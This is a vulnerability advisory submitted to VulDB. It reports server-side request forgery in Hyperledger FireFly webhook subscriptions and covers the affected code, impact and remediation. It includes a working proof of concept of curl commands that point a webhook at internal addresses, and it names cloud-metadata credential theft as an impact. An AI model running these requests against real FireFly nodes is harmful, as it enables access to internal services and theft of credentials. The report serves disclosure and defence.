提出 #879847: Hyperledger Firefly 1.4.0 Server-Side Request Forgery情報

タイトルHyperledger Firefly 1.4.0 Server-Side Request Forgery
説明Server-Side Request Forgery (SSRF) in Hyperledger FireFly Core webhook subscriptions. Affected: all versions with the webhook transport, up to and including v1.4.0. Not fixed as of commit e3c9b8d89 (main). CWE-918 (SSRF). CVSS: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N (~High). Privilege: ability to create a subscription. FireFly ships no API auth plugin by default, so this can be unauthenticated. SUMMARY Any client able to create an event subscription can register a webhooks subscription whose target url is never validated. When a matching event occurs, the FireFly node itself issues an HTTP request to that URL. An attacker can point it at internal-only addresses (cloud metadata x.x.x.x, loopback, RFC1918 services), turning the node into a confused deputy. With reply:true the internal response is returned to the attacker as an event, making it a non-blind / full-read SSRF. AFFECTED CODE (internal/events/webhooks/webhooks.go) - Line 191: url = options.GetString("url") — target taken verbatim from user input. - Line 266: func (wh *WebHooks) ValidateOptions(...) — validates format/headers/timeouts but never the host. - Line 394: resp, err := req.r.Execute(req.method, req.url) — request is fired. Root cause: ValidateOptions performs no allowlist/denylist on the resolved destination. No block for loopback, RFC1918, or link-local (x.x.x.x/16); host+scheme fully attacker-controlled. VULNERABLE COMMITS Introduced: 215c69181 ("Base implementation of webhooks invocation", 2021-06-20). Still present in e3c9b8d89 (main, v1.4.0 line). No commit between adds host validation. PROOF OF CONCEPT (validated against FireFly v1.4.0, API at http://localhost:5000) 1. Start an internal-only victim service: python3 -m http.server 8888 --bind x.x.x.x 2. Register a webhook subscription pointing at the internal URL: curl -i -X POST http://localhost:5000/api/v1/namespaces/default/subscriptions -H 'Content-Type: application/json' -d '{"transport":"webhooks","name":"ssrf","filter":{"events":".*"},"options":{"url":"http://172.18.0.1:8888/PWNED","method":"GET"}}' Response: HTTP 201 Created — internal URL accepted with no validation. 3. Trigger any event so the webhook fires: ACCT=$(curl -s -X POST http://localhost:5100 -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"][0])') curl -X POST http://localhost:5000/api/v1/namespaces/default/tokens/pools -H 'Content-Type: application/json' -d "{\"name\":\"trigger\",\"type\":\"fungible\",\"key\":\"$ACCT\"}" Result: FireFly node makes the outbound request to the internal target: 172.18.0.8 - - [..] "GET /PWNED HTTP/1.1" The source IP 172.18.0.8 is the FireFly Core container, not the attacker's shell — proving the request was forged by the server. SSRF confirmed. IMPACT Reach internal services not exposed externally (databases, admin panels, sidecars). In cloud: read credentials from the instance metadata endpoint (x.x.x.x) -> escalation into the cloud account. With reply:true, the internal response is returned to the attacker as a FireFly event -> full-read SSRF, not blind. REMEDIATION In ValidateOptions, parse the URL, resolve the host, and reject loopback, RFC1918, link-local (x.x.x.x/16), and unspecified addresses; restrict scheme to http/https. Re-check the resolved IP at connection time (custom DialContext) to defeat DNS-rebinding (TOCTOU). Optionally expose a configurable allowlist of permitted webhook hosts.
ソース⚠️ https://github.com/hyperledger/firefly/blob/v1.4.0/internal/events/webhooks/webhooks.go#L266
ユーザー
 Gabriel Alves (UID 99209)
送信2026年07月04日 05:38 (2 月 ago)
モデレーション2026年08月31日 14:43 (2 months later)
ステータス承諾済み
VulDBエントリ397306 [hyperledger-firefly 迄 1.4.0 Webhook Subscription webhooks.go ValidateOptions url 特権昇格]
ポイント20

Do you want to use VulDB in your project?

Use the official API to access entries easily!